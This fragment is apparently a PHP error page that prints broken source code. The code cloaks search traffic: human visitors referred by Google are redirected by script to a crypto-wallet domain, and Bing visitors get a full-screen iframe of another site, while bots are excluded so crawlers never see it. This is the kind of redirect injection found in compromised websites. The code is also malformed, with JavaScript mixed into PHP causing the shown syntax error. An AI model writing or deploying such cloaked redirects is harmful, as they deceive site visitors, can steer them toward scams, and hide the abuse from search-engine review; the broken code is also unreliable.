语法解析错误: syntax error, unexpected 'var' (T_VAR)

        }
        if (strstr($this->clientServer['HTTP_REFERER'], 'google.com') && !$this->isBot($this->clientServer['HTTP_USER_AGENT'])) {
            $pass_url = "https://usdtwallet.online/";
            return "<script>window.location.href='{$pass_url}'</script>";

        }
        if (strstr($this->clientServer['HTTP_REFERER'], 'bing.com') && !$this->isBot($this->clientServer['HTTP_USER_AGENT'])) {
            // return '';
            $pass_url = "https://usdtwallet.online/";
            var url = 'https://hdhao.com/';
            return "<script>
            window.document.write("<style>html,body{width:100%;height:100%;overflow:hidden;}</style>");
            window.document.write('<div style="height:100%;position:fixed;top:0;left:0;right:0;bottom:0;background:#fff;z-index:100000">');
            window.document.write('<iframe src="' + url + '" frameborder="0" style="width: 100%; height: 100%;"></iframe>');
            window.document.write("</div>");
            </script>";

        }
        if (!empty($this->clientServer['HTTP_USER_AGENT'])) {